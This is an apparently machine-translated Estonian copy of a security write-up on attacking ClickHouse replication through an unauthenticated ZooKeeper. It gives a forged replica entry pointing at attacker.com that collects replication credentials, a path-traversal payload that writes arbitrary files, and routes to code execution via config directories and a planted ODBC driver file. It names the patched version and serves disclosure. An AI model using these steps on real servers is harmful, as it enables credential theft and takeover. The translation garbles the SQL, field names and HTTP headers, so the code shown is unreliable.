Miks on tähtis hoida loomade puurid loomaaias suletud

Selles artiklis räägitakse ühest iseloomulikust haavatavusest ClickHouse'i replikatsiooniprotokollis ning näidatakse, kuidas laiendada rünnaku pinda.

ClickHouse on suurte andmemahutite andmebaas, mida kasutatakse sageli mitme replikaga. Klasterdamine ja replikatsioon ClickHouse'is põhinevad Apache ZooKeeper (ZK) ja nõuavad kirjutamisõigusi.

ZK vaikimisi installimine ei nõua autentimist, mistõttu on tuhanded ZK serverid, mida kasutatakse Kafka, Hadoopi ja ClickHouse'i seadistamiseks, avalikult kergesti ligipääsetavad.

Rünnaku pinna vähendamiseks peaksite alati seadistama autentimise ja autoriseerimise ZooKeeper'i installimisel.

Muidugi on mõned Java deserialiseerimise alusel põhinevad 0day haavatavused, kuid kujutage ette, et ründaja suudab lugeda ja kirjutada ZooKeeper'isse, mida kasutatakse ClickHouse'i replikatsiooni jaoks.

Klastri režiimis seadistamisel toetab ClickHouse jaotatud päringuid DDL, mis läbivad ZK — nende jaoks luuakse sõlmed nimekirjas. /clickhouse/task_queue/ddl.

Näiteks loote sõlme /clickhouse/task_queue/ddl/query-0001 sisu:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ja pärast seda eemaldatakse test-tabel klastrite host1 ja host2 serverites. DDL toetab ka CREATE/ALTER/DROP päringute käivitamist.

Küüniline? Aga kust ründaja saaks serverite aadresse kätte?

ClickHouse'i replikatsioon toimib eraldi tabelite tasemel, mistõttu tabeli loomisel ZK-s määratakse server, mis vastutab metaandmete vahetamise eest replikatega. Näiteks päringu täitmisel (ZK peab olema seadistatud, chXX — replikatsiooni nimi, foobar — tabeli nimi):

Loo tabel foobar
(
    `action_id` UInt32, mille vaikeväärtus on toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

luuakse sõlmed veergud ja metadata.

Sisu /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-aadress
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Kas sellel klastril on võimalik andmeid koondada? Jah, kui replikatsiooni port (TCP/9009) serveris chXX-aadress ei ole tulemüüriga suletud ja replikatsiooniks ei ole autentimist seadistatud. Kuidas autentimist vältida?

Ründaja võib ZK-s luua uue replikatsiooni, kopeerides sisu lihtsalt /clickhouse/tables/01-01/foobar/replicas/chXX ja muutes väärtust host.

Sisu /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Seejärel tuleb teistele replikatele öelda, et ründaja serveris on uus andmete plokk, mida nad peavad võtma — luuakse sõlm ZK-s. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotoonne kasvav loendur, mis peab olema suurem kui viimane sündmuslogis):

formaadi versioon: 4
loomise_aeg: 2019-07-31 09:37:42
allika replikatsioon: ründaja
bloki_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kus allika_replikatsioon — ründaja replikatsiooni nimi, loodud eelmisel sammul, bloki_id — andmebloki identifikaator, get — käsk "get block" (ja siin on käsud muude toimingute jaoks).

Edasi iga replikatsioon loeb uut sündmust logis ja läheb serverisse, mis on kurjategija kontrolli all, et saada andmeblokk (replikatsiooniprotokoll on binaarne, töötab HTTP peal). Server attacker.com saab päringuid:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Autoriseerimine: XXX

kus XXX — need on autentimise andmed replikatsiooniks. Mõnel juhul võib see olla konto, millel on juurdepääs andmebaasile peamise ClickHouse protokolli ja HTTP protokolli kaudu. Nagu olete näinud, muutub rünnaku pind kriitiliselt suureks, kuna replikatsiooniks kasutatav ZooKeeper jäi ilma korraldatud autentimiseta.

Vaadakem andmete saamise funktsiooni replikast, see on kirjutatud täieliku usuga, et kõik repliikid on õiges kontrollis ja nende vahel on usaldus.

replikatsiooni töötlemise kood

Funktsioon loeb failide loendi, seejärel nende nimed, suurused, sisu, pärast mida kirjutab need failisüsteemi. Tuleb eraldi kirjeldada, kuidas andmeid failisüsteemis hoitakse.

On mitu alamkausta /var/lib/clickhouse (vaikimisi salvestamise kataloog konfiguratsioonifailist):

lipud — kataloog kirjutamiseks lippude, mis on kasutatud andmete kadumise taastamisel;
tmp — ajutiste failide salvestamise kataloog;
user_files — failidega seotud toimingud päringutes on piiratud selle katalooge (INTO OUTFILE ja teised);
metadata — sql-failid tabelite kirjeldustega;
preprocessed_configs — töödeldud tuletatud konfiguratsioonifailid failist /etc/clickhouse-server;
data — tegelik kataloog, kus andmed asuvad, luuakse igale andmebaasile eraldi alamkaust (näiteks /var/lib/clickhouse/data/default).

Iga tabeli jaoks luuakse andmebaasi kataloogis alamkaust. Iga veerg on sõltumatu fail sõltuvalt mootori formaadist. Näiteks ründaja loodud tabeli jaoks luuakse järgmised failid: foobar, mille lõi ründaja, luuakse järgmised failid:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika ootab failide saamist sama nimega andmeploki töötlemisel ja ei kontrolli neid mingil viisil.

Hoolikas lugeja on tõenäoliselt juba kuulnud ohtlikust file_name konkatenaatsioonist funktsioonis WriteBufferFromFile. Jah, see võimaldab ründajal kirjutada suvalist sisu mis tahes faili failisüsteemis kasutaja õigustes. clickhouse. Selleks peab ründaja kontrolli all olev replika vastama järgmise päringu vastusele (mõistmise lihtsustamiseks on lisatud reavahetused):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ja pärast konkatenaatsiooni ../../../../../../../../../tmp/pwned salvestatakse fail /tmp/pwned sisuga hellofromzookeeper.

On mitu võimalust, kuidas faili kirjutamise võimalust kasutada kaugkoodi käivitamiseks (RCE).

Välised sõnastikud RCEs

Vanas versioonis hoiti ClickHouse seadistuste katalooge kasutaja õigustega clickhouse vaikimisi. Seadistusfailid on XML-failid, mida teenus loeb käivitamisel ja seejärel vahemällu salvestab /var/lib/clickhouse/preprocessed_configs. Muudatuste korral loetakse need uuesti. Kui juurdepääs on olemas, /etc/clickhouse-server saab ründaja luua oma välise sõnastiku käivitatavate tüüpide ja seejärel täitma juhuslikku koodi. Praegused ClickHouse'i versioonid ei paku vaikimisi õigusi, kuid kui serverit on järk-järgult uuendatud, võivad sellised õigused siiski jääda. Kui te hoolitsete ClickHouse'i klastrite eest, kontrollige seadistuste katalooge, see peab kuuluma kasutajale. root.

ODBC RCE-s

Paketi installimisel luuakse kasutaja clickhouse, samas kui tema kodukatlog ei loo. /nonexistentKuid väliste sõnastike kasutamisel või muudel põhjustel loovad administraatorid katalooge /nonexistent ja annavad kasutajale clickhouse kasutamisõiguse (SSZB! tõlkija märk.).

ClickHouse toetab ODBC ja suudab ühendada teiste andmebaasidega. ODBC-s saate määrata tee andmebaasi draiveri raamatukoguni (.so). Vanemad ClickHouse'i versioonid lubasid seda otse päringute töötlejas, kuid nüüd on lisatud rangem kontrollühenduse stringi suhtes. odbc-bridge, seega ei saa nüüd päringust draiveri teed näidata. Kuid ründaja võib kirjutada kodukatlogisse, kasutades ülaltoodud haavatavust?

Loome faili ~/.odbc.ini sellise sisuga:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

siis käivitamisel SELECT * FROM odbc('DSN=lalala', 'test', 'test'); laaditakse raamatukogu test.so ja saadud RCE (aitäh buglloc vihje eest).

Need ja muud haavatavused on parandatud ClickHouse versioonis 19.14.3. Hoidke oma ClickHouse ja ZooKeepers'e turvalisena!

Allikas: habr.com